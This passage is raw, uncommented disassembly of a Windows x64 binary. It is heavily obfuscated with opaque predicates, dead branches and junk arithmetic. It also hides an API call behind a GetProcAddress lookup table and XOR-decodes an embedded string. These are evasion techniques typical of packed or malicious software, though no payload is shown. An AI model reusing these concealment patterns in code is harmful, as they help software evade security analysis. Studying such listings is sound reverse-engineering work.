cvttsd2si eax, xmm0
mov dword [rsp + 0x548], eax
jmp 0x14002dbbb
xor eax, eax
cmp eax, 1
je 0x14002daff
jmp 0x14002db0e
jmp 0x14002d8ca
jmp 0x14002d8ca
xor eax, eax
cmp eax, 1
je 0x14002dbb0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x11b4], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x11b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x11bc], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x11b8], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x11b8]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x11bc]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x390]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x548], eax
jmp 0x14002dbbb
mov dword [rsp + 0x548], 1
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x78]
sub eax, 0x6a
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x398], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x11c0], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x11c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x11c8], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x11c4], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x11c4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x11c8]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002de34
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x11cc], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x11cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x11d0], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x11d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x11d4], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x11d4]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002de34
mov dword [rsp + 0x17c], 0
jmp 0x14002dcf6
cmp dword [rsp + 0x17c], 4
jae 0x14002de2f
cvtsi2sd xmm0, dword [rsp + 0x17c]
movsd xmm1, qword [rsp + 0x398]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1a10], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1a10]
ucomisd xmm1, xmm0
jp 0x14002dd71
jne 0x14002dd71
mov eax, dword [rsp + 0x17c]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x398]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x398], xmm0
jmp 0x14002dbf0
cvtsi2sd xmm0, dword [rsp + 0x17c]
movsd xmm1, qword [rsp + 0x398]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1a18], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1a18]
ucomisd xmm1, xmm0
jp 0x14002ddd9
jne 0x14002ddd9
mov eax, dword [rsp + 0x17c]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x398]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x398], xmm0
jmp 0x14002ddef
xor eax, eax
test eax, eax
je 0x14002ddeb
jmp 0x14002ded6
jmp 0x14002de18
cvtsi2sd xmm0, dword [rsp + 0x17c]
movsd xmm1, qword [rsp + 0x398]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x54c], eax
jmp 0x14002dee1
xor eax, eax
cmp eax, 1
je 0x14002de25
jmp 0x14002de34
jmp 0x14002dbf0
jmp 0x14002dbf0
xor eax, eax
cmp eax, 1
je 0x14002ded6
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x11d8], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x11d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x11e0], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x11dc], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x11dc]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x11e0]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x398]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x54c], eax
jmp 0x14002dee1
mov dword [rsp + 0x54c], 1
movsxd rax, dword [rsp + 0x78]
mov rcx, qword [rsp + 0x230]
mov eax, dword [rcx + rax*4]
add eax, dword [rsp + 0x548]
movsxd rcx, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x230]
mov edi, dword [rsp + 0x54c]
mov ecx, dword [rdx + rcx*4]
and ecx, edi
shl ecx, 1
sub eax, ecx
movsxd rcx, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x230]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x11e4], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x11e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x11e8], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x11e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x11ec], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x11ec]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002e2df
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108328]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3a0], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x11f0], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x11f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x11f8], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x11f4], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x11f4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x11f8]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002e209
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x11fc], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x11fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1200], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1200]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1204], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1204]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002e209
mov dword [rsp + 0x180], 0
jmp 0x14002e0cb
cmp dword [rsp + 0x180], 4
jae 0x14002e204
cvtsi2sd xmm0, dword [rsp + 0x180]
movsd xmm1, qword [rsp + 0x3a0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1a20], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1a20]
ucomisd xmm1, xmm0
jp 0x14002e146
jne 0x14002e146
mov eax, dword [rsp + 0x180]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3a0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3a0], xmm0
jmp 0x14002dfc5
cvtsi2sd xmm0, dword [rsp + 0x180]
movsd xmm1, qword [rsp + 0x3a0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1a28], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1a28]
ucomisd xmm1, xmm0
jp 0x14002e1ae
jne 0x14002e1ae
mov eax, dword [rsp + 0x180]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3a0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3a0], xmm0
jmp 0x14002e1c4
xor eax, eax
test eax, eax
je 0x14002e1c0
jmp 0x14002e2ab
jmp 0x14002e1ed
cvtsi2sd xmm0, dword [rsp + 0x180]
movsd xmm1, qword [rsp + 0x3a0]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x550], eax
jmp 0x14002e2b6
xor eax, eax
cmp eax, 1
je 0x14002e1fa
jmp 0x14002e209
jmp 0x14002dfc5
jmp 0x14002dfc5
xor eax, eax
cmp eax, 1
je 0x14002e2ab
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1208], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1208]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1210], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x120c], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x120c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1210]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x3a0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x550], eax
jmp 0x14002e2b6
mov dword [rsp + 0x550], 1
movsxd rax, dword [rsp + 0x78]
mov rcx, qword [rsp + 0x230]
mov edx, dword [rsp + 0x550]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x230]
mov dword [rdx + rcx*4], eax
jmp 0x14002ccd4
mov rax, qword [rsp + 0x758]
mov byte [rax + 4], 1
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x758]
mov eax, dword [rcx + rax]
mov dword [rsp + 0x1214], eax
lea rax, [rsp + 0x1c10]
mov ecx, dword [rsp + 0x1214]
mov qword [rsp + 0x1a30], rcx
lea rdx, [0x140132e90]
mov rcx, rax
mov rax, qword [rsp + 0x1a30]
call qword [rdx + rax*8]
mov rdx, rax
mov rcx, qword [rsp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x1a38], rax
lea rdx, [rsp + 0x1fe0]
mov rcx, qword [rsp + 0x770]
call qword [rsp + 0x1a38]
test rax, rax
je 0x14002e376
mov byte [rsp + 0x89], 1
jmp 0x14002e37e
mov byte [rsp + 0x89], 0
mov al, byte [rsp + 0x89]
mov byte [rsp + 0x4bb], al
mov dword [rsp + 0x644], 0x56b5
mov dword [rsp + 0x1218], 0x441a
mov dword [rsp + 0x121c], 0x4acc
mov eax, dword [rsp + 0x1218]
mov dword [rsp + 0x644], eax
cmp dword [rsp + 0x644], 0
je 0x14002e3d0
mov dword [rsp + 0x121c], 0x3545
mov dword [rsp + 0x288], 0
jmp 0x14002e3ed
mov eax, dword [rsp + 0x288]
inc eax
mov dword [rsp + 0x288], eax
cmp dword [rsp + 0x288], 0x16
jge 0x14002e40b
movsxd rax, dword [rsp + 0x288]
xor ecx, ecx
mov word [rsp + rax*2 + 0x1c10], cx
jmp 0x14002e3dd
mov dword [rsp + 0x554], 4
jmp 0x14002e428
mov eax, dword [rsp + 0x554]
inc eax
mov dword [rsp + 0x554], eax
cmp dword [rsp + 0x554], 0x2d9a
jae 0x14002e4cc
mov ecx, 0xea60
call fcn.14006e220
mov qword [rsp + 0x1a40], rax
mov rax, qword [rsp + 0x1a40]
mov qword [rsp + 0x1518], rax
mov dword [rsp + 0x25c], 0
jmp 0x14002e478
mov eax, dword [rsp + 0x25c]
inc eax
mov dword [rsp + 0x25c], eax
cmp dword [rsp + 0x25c], 0x2e06
jae 0x14002e4aa
cmp dword [rsp + 0x25c], 0x52
jne 0x14002e491
jmp 0x14002e4aa
movsxd rax, dword [rsp + 0x25c]
mov rcx, qword [rsp + 0x1518]
mov dword [rcx + rax*4], 0x7e9
jmp 0x14002e468
mov rax, qword [rsp + 0x1518]
mov qword [rsp + 0x1a48], rax
mov rcx, qword [rsp + 0x1a48]
call fcn.14006e228
jmp 0x14002e418
lea rax, [rsp + 0x4bc]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1ac8]
lea rcx, str.dRKLWhULZ__B
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1a
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x1a6]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov dword [rsp + 0x648], 0x93a9
mov dword [rsp + 0x1220], 0x2f2d
mov dword [rsp + 0x1224], 0x5bc8
mov eax, dword [rsp + 0x1220]
mov dword [rsp + 0x648], eax
cmp dword [rsp + 0x648], 0
je 0x14002e554
mov dword [rsp + 0x1224], 0x63ad
mov dword [rsp + 0x64c], 0x43cc
mov dword [rsp + 0x1228], 0x3b4c
mov dword [rsp + 0x122c], 0x45d2
mov eax, dword [rsp + 0x1228]
mov dword [rsp + 0x64c], eax
cmp dword [rsp + 0x64c], 0
je 0x14002e598
mov dword [rsp + 0x122c], 0x4e60
mov eax, 2
imul rax, rax, 0xc
movzx eax, word [rsp + rax + 0x1ac8]
test eax, eax
je 0x14002e5ba
mov dword [rsp + 0x650], 1
jmp 0x14002e5c5
mov dword [rsp + 0x650], 0
movzx eax, byte [rsp + 0x650]
test eax, eax
je 0x14002e688
mov dword [rsp + 0x654], 0x65d6
mov dword [rsp + 0x1230], 0x88c8
mov dword [rsp + 0x1234], 0x6e8c
mov eax, dword [rsp + 0x1230]
mov dword [rsp + 0x654], eax
cmp dword [rsp + 0x654], 0
je 0x14002e619
mov dword [rsp + 0x1234], 0x9ca6
mov dword [rsp + 0x1c4], 0
jmp 0x14002e636
mov eax, dword [rsp + 0x1c4]
inc eax
mov dword [rsp + 0x1c4], eax
cmp dword [rsp + 0x1c4], 0xd
jge 0x14002e688
movsxd rax, dword [rsp + 0x1c4]
movzx eax, word [rsp + rax*2 + 0x1ac8]
mov dword [rsp + 0x1238], eax
mov eax, dword [rsp + 0x1c4]
cdq
mov ecx, 0x35
idiv ecx
mov eax, edx
add eax, 0x36
mov ecx, dword [rsp + 0x1238]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x1c4]
mov word [rsp + rcx*2 + 0x1ac8], ax
jmp 0x14002e626
lea rcx, [rsp + 0x1a6]
call fcn.140030988
mov qword [rsp + 0x760], rax
mov rax, qword [rsp + 0x760]
movzx eax, byte [rax + 4]
test eax, eax
jne 0x14002fcdb
mov rax, qword [rsp + 0x760]
mov qword [rsp + 0x1e8], rax
mov dword [rsp + 0x7c], 0
jmp 0x14002e6d5
mov eax, dword [rsp + 0x7c]
inc eax
mov dword [rsp + 0x7c], eax
movsxd rax, dword [rsp + 0x7c]
cmp rax, 1
jae 0x14002fcdb
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x123c], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x123c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1240], eax
call fcn.14001b988
movsx eax, al
shl eax, 1
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1240]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1244], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1244]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002ea9d
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108330]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3a8], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1248], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1248]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1250], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x124c], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x124c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1250]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002e9c7
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1254], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1254]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1258], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1258]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x125c], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x125c]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002e9c7
mov dword [rsp + 0x184], 0
jmp 0x14002e889
cmp dword [rsp + 0x184], 4
jae 0x14002e9c2
cvtsi2sd xmm0, dword [rsp + 0x184]
movsd xmm1, qword [rsp + 0x3a8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1a50], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1a50]
ucomisd xmm1, xmm0
jp 0x14002e904
jne 0x14002e904
mov eax, dword [rsp + 0x184]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3a8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3a8], xmm0
jmp 0x14002e783
cvtsi2sd xmm0, dword [rsp + 0x184]
movsd xmm1, qword [rsp + 0x3a8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1a58], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1a58]
ucomisd xmm1, xmm0
jp 0x14002e96c
jne 0x14002e96c
mov eax, dword [rsp + 0x184]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3a8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3a8], xmm0
jmp 0x14002e982
xor eax, eax
test eax, eax
je 0x14002e97e
jmp 0x14002ea69
jmp 0x14002e9ab
cvtsi2sd xmm0, dword [rsp + 0x184]
movsd xmm1, qword [rsp + 0x3a8]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x558], eax
jmp 0x14002ea74
xor eax, eax
cmp eax, 1
je 0x14002e9b8
jmp 0x14002e9c7
jmp 0x14002e783
jmp 0x14002e783
xor eax, eax
cmp eax, 1
je 0x14002ea69
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1260], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1260]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1268], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x1264], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1264]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1268]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x3a8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x558], eax
jmp 0x14002ea74
mov dword [rsp + 0x558], 1
movsxd rax, dword [rsp + 0x7c]
mov rcx, qword [rsp + 0x1e8]
mov edx, dword [rsp + 0x558]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x7c]
mov rdx, qword [rsp + 0x1e8]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x126c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x126c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1274], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 3
mov dword [rsp + 0x1270], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1270]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1274]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002f91c
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1278], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1278]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x127c], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 7
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x127c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1280], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1280]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002eed2
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108328]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3b0], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1284], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1284]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x128c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x1288], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1288]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x128c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002edfc
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1290], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1290]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1294], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1294]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1298], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1298]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002edfc
mov dword [rsp + 0x188], 0
jmp 0x14002ecbe
cmp dword [rsp + 0x188], 4
jae 0x14002edf7
cvtsi2sd xmm0, dword [rsp + 0x188]
movsd xmm1, qword [rsp + 0x3b0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1a60], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1a60]
ucomisd xmm1, xmm0
jp 0x14002ed39
jne 0x14002ed39
mov eax, dword [rsp + 0x188]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3b0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3b0], xmm0
jmp 0x14002ebb8
cvtsi2sd xmm0, dword [rsp + 0x188]
movsd xmm1, qword [rsp + 0x3b0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1a68], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1a68]
ucomisd xmm1, xmm0
jp 0x14002eda1
jne 0x14002eda1
mov eax, dword [rsp + 0x188]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3b0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3b0], xmm0
jmp 0x14002edb7
xor eax, eax
test eax, eax
je 0x14002edb3
jmp 0x14002ee9e
jmp 0x14002ede0
cvtsi2sd xmm0, dword [rsp + 0x188]
movsd xmm1, qword [rsp + 0x3b0]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x55c], eax
jmp 0x14002eea9
xor eax, eax
cmp eax, 1
je 0x14002eded
jmp 0x14002edfc
jmp 0x14002ebb8
jmp 0x14002ebb8
xor eax, eax
cmp eax, 1
je 0x14002ee9e
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x129c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x129c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x12a4], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x12a0], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x12a0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x12a4]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x3b0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x55c], eax
jmp 0x14002eea9
mov dword [rsp + 0x55c], 1
movsxd rax, dword [rsp + 0x7c]
mov rcx, qword [rsp + 0x1e8]
mov edx, dword [rsp + 0x55c]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x7c]
mov rdx, qword [rsp + 0x1e8]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x12a8], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x12a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x12ac], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x12ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x12b0], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x12b0]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002f28c
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108320]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3b8], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x12b4], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x12b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x12bc], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x12b8], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x12b8]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x12bc]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002f1b6
